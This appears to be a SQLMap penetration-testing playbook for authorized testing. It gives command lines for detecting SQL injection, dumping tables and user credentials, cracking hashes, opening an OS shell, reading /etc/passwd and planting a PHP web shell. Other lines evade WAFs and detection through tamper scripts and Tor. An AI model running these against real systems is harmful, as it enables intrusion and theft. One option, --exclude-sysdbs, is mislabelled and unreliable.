SQLMap Database Penetration Testing

Purpose

Provide systematic methodologies for automated SQL injection detection and exploitation using SQLMap. This skill covers database enumeration, table and column discovery, data extraction, multiple target specification methods, and advanced exploitation techniques for MySQL, PostgreSQL, MSSQL, Oracle, and other database management systems.

Inputs / Prerequisites

• Target URL: Web application URL with injectable parameter (e.g., ?id=1)
• SQLMap Installation: Pre-installed on Kali Linux or downloaded from GitHub
• Verified Injection Point: URL parameter confirmed or suspected to be SQL injectable
• Request File (Optional): Burp Suite captured HTTP request for POST-based injection
• Authorization: Written permission for penetration testing activities

Outputs / Deliverables

• Database Enumeration: List of all databases on the target server
• Table Structure: Complete table names within target database
• Column Mapping: Column names and data types for each table
• Extracted Data: Dumped records including usernames, passwords, and sensitive data
• Hash Values: Password hashes for offline cracking
• Vulnerability Report: Confirmation of SQL injection type and severity

Core Workflow

1. Identify SQL Injection Vulnerability

Manual Verification

# Add single quote to break query
http://target.com/page.php?id=1'

# If error message appears, likely SQL injectable
# Error example: "You have an error in your SQL syntax"

Initial SQLMap Scan

# Basic vulnerability detection
sqlmap -u "http://target.com/page.php?id=1" --batch

# With verbosity for detailed output
sqlmap -u "http://target.com/page.php?id=1" --batch -v 3

2. Enumerate Databases

List All Databases

sqlmap -u "http://target.com/page.php?id=1" --dbs --batch

Key Options:

• -u: Target URL with injectable parameter
• --dbs: Enumerate database names
• --batch: Use default answers (non-interactive mode)

3. Enumerate Tables

List Tables in Specific Database

sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables --batch

Key Options:

• -D: Specify target database name
• --tables: Enumerate table names

4. Enumerate Columns

List Columns in Specific Table

sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns --batch

Key Options:

• -T: Specify target table name
• --columns: Enumerate column names

5. Extract Data

Dump Specific Table Data

sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump --batch

Dump Specific Columns

sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users -C username,password --dump --batch

Dump Entire Database

sqlmap -u "http://target.com/page.php?id=1" -D database_name --dump-all --batch

Key Options:

• --dump: Extract all data from specified table
• --dump-all: Extract all data from all tables
• -C: Specify column names to extract

6. Advanced Target Options

Target from HTTP Request File

# Save Burp Suite request to file, then:
sqlmap -r /path/to/request.txt --dbs --batch

Target from Log File

# Feed log file with multiple requests
sqlmap -l /path/to/logfile --dbs --batch

Target Multiple URLs (Bulk File)

# Create file with URLs, one per line:
# http://target1.com/page.php?id=1
# http://target2.com/page.php?id=2
sqlmap -m /path/to/bulkfile.txt --dbs --batch

Target via Google Dorks (Use with Caution)

# Automatically find and test vulnerable sites (LEGAL TARGETS ONLY)
sqlmap -g "inurl:?id= site:yourdomain.com" --batch

Quick Reference Commands

Database Enumeration Progression

Stage	Command
List Databases	sqlmap -u "URL" --dbs --batch
List Tables	sqlmap -u "URL" -D dbname --tables --batch
List Columns	sqlmap -u "URL" -D dbname -T tablename --columns --batch
Dump Data	sqlmap -u "URL" -D dbname -T tablename --dump --batch
Dump All	sqlmap -u "URL" -D dbname --dump-all --batch

Supported Database Management Systems

DBMS	Support Level
MySQL	Full Support
PostgreSQL	Full Support
Microsoft SQL Server	Full Support
Oracle	Full Support
Microsoft Access	Full Support
IBM DB2	Full Support
SQLite	Full Support
Firebird	Full Support
Sybase	Full Support
SAP MaxDB	Full Support
HSQLDB	Full Support
Informix	Full Support

SQL Injection Techniques

Technique	Description	Flag
Boolean-based blind	Infers data from true/false responses	--technique=B
Time-based blind	Uses time delays to infer data	--technique=T
Error-based	Extracts data from error messages	--technique=E
UNION query-based	Uses UNION to append results	--technique=U
Stacked queries	Executes multiple statements	--technique=S
Out-of-band	Uses DNS or HTTP for exfiltration	--technique=Q

Essential Options

Option	Description
-u	Target URL
-r	Load HTTP request from file
-l	Parse targets from Burp/WebScarab log
-m	Bulk file with multiple targets
-g	Google dork (use responsibly)
--dbs	Enumerate databases
--tables	Enumerate tables
--columns	Enumerate columns
--dump	Dump table data
--dump-all	Dump all database data
-D	Specify database
-T	Specify table
-C	Specify columns
--batch	Non-interactive mode
--random-agent	Use random User-Agent
--level	Level of tests (1-5)
--risk	Risk of tests (1-3)

Constraints and Limitations

Operational Boundaries

• Requires valid injectable parameter in target URL
• Network connectivity to target database server required
• Large database dumps may take significant time
• Some WAF/IPS systems may block SQLMap traffic
• Time-based attacks significantly slower than error-based

Performance Considerations

• Use --threads to speed up enumeration (default: 1)
• Limit dumps with --start and --stop for large tables
• Use --technique to specify faster injection method if known

Legal Requirements

• Only test systems with explicit written authorization
• Google dork attacks against unknown sites are illegal
• Document all testing activities and findings
• Respect scope limitations defined in engagement rules

Detection Risk

• SQLMap generates significant log entries
• Use --random-agent to vary User-Agent header
• Consider --delay to avoid triggering rate limits
• Proxy through Tor with --tor for anonymity (authorized tests only)

Examples

Example 1: Complete Database Enumeration

# Step 1: Discover databases
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs --batch
# Result: acuart database found

# Step 2: List tables
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart --tables --batch
# Result: users, products, carts, etc.

# Step 3: List columns
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --columns --batch
# Result: username, password, email columns

# Step 4: Dump user credentials
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --dump --batch

Example 2: POST Request Injection

# Save Burp request to file (login.txt):
# POST /login.php HTTP/1.1
# Host: target.com
# Content-Type: application/x-www-form-urlencoded
# 
# username=admin&password=test

# Run SQLMap with request file
sqlmap -r /root/Desktop/login.txt -p username --dbs --batch

Example 3: Bulk Target Scanning

# Create bulkfile.txt:
echo "http://192.168.1.10/sqli/Less-1/?id=1" > bulkfile.txt
echo "http://192.168.1.10/sqli/Less-2/?id=1" >> bulkfile.txt

# Scan all targets
sqlmap -m bulkfile.txt --dbs --batch

Example 4: Aggressive Testing

# High level and risk for thorough testing
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --level=5 --risk=3

# Specify all techniques
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --technique=BEUSTQ

Example 5: Extract Specific Credentials

# Target specific columns
sqlmap -u "http://target.com/page.php?id=1" \
  -D webapp \
  -T admin_users \
  -C admin_name,admin_pass,admin_email \
  --dump --batch

# Automatically crack password hashes
sqlmap -u "http://target.com/page.php?id=1" \
  -D webapp \
  -T users \
  --dump --batch \
  --passwords

Example 6: OS Shell Access (Advanced)

# Get interactive OS shell (requires DBA privileges)
sqlmap -u "http://target.com/page.php?id=1" --os-shell --batch

# Execute specific OS command
sqlmap -u "http://target.com/page.php?id=1" --os-cmd="whoami" --batch

# File read from server
sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd" --batch

# File upload to server
sqlmap -u "http://target.com/page.php?id=1" --file-write="/local/shell.php" --file-dest="/var/www/html/shell.php" --batch

Troubleshooting

Issue: "Parameter does not seem injectable"

Cause: SQLMap cannot find injection point Solution:

# Increase testing level and risk
sqlmap -u "URL" --dbs --batch --level=5 --risk=3

# Specify parameter explicitly
sqlmap -u "URL" -p "id" --dbs --batch

# Try different injection techniques
sqlmap -u "URL" --dbs --batch --technique=BT

# Add prefix/suffix for filter bypass
sqlmap -u "URL" --dbs --batch --prefix="'" --suffix="-- -"

Issue: Target Behind WAF/Firewall

Cause: Web Application Firewall blocking requests Solution:

# Use tamper scripts
sqlmap -u "URL" --dbs --batch --tamper=space2comment

# List available tamper scripts
sqlmap --list-tampers

# Common tamper combinations
sqlmap -u "URL" --dbs --batch --tamper=space2comment,between,randomcase

# Add delay between requests
sqlmap -u "URL" --dbs --batch --delay=2

# Use random User-Agent
sqlmap -u "URL" --dbs --batch --random-agent

Issue: Connection Timeout

Cause: Network issues or slow target Solution:

# Increase timeout
sqlmap -u "URL" --dbs --batch --timeout=60

# Reduce threads
sqlmap -u "URL" --dbs --batch --threads=1

# Add retries
sqlmap -u "URL" --dbs --batch --retries=5

Issue: Time-Based Attacks Too Slow

Cause: Default time delay too conservative Solution:

# Reduce time delay (risky, may cause false negatives)
sqlmap -u "URL" --dbs --batch --time-sec=3

# Use boolean-based instead if possible
sqlmap -u "URL" --dbs --batch --technique=B

Issue: Cannot Dump Large Tables

Cause: Table has too many records Solution:

# Limit number of records
sqlmap -u "URL" -D db -T table --dump --batch --start=1 --stop=100

# Dump specific columns only
sqlmap -u "URL" -D db -T table -C username,password --dump --batch

# Exclude specific columns
sqlmap -u "URL" -D db -T table --dump --batch --exclude-sysdbs

Issue: Session Drops During Long Scan

Cause: Session timeout or connection reset Solution:

# Save and resume session
sqlmap -u "URL" --dbs --batch --output-dir=/root/sqlmap_session

# Resume from saved session
sqlmap -u "URL" --dbs --batch --resume

# Use persistent HTTP connection
sqlmap -u "URL" --dbs --batch --keep-alive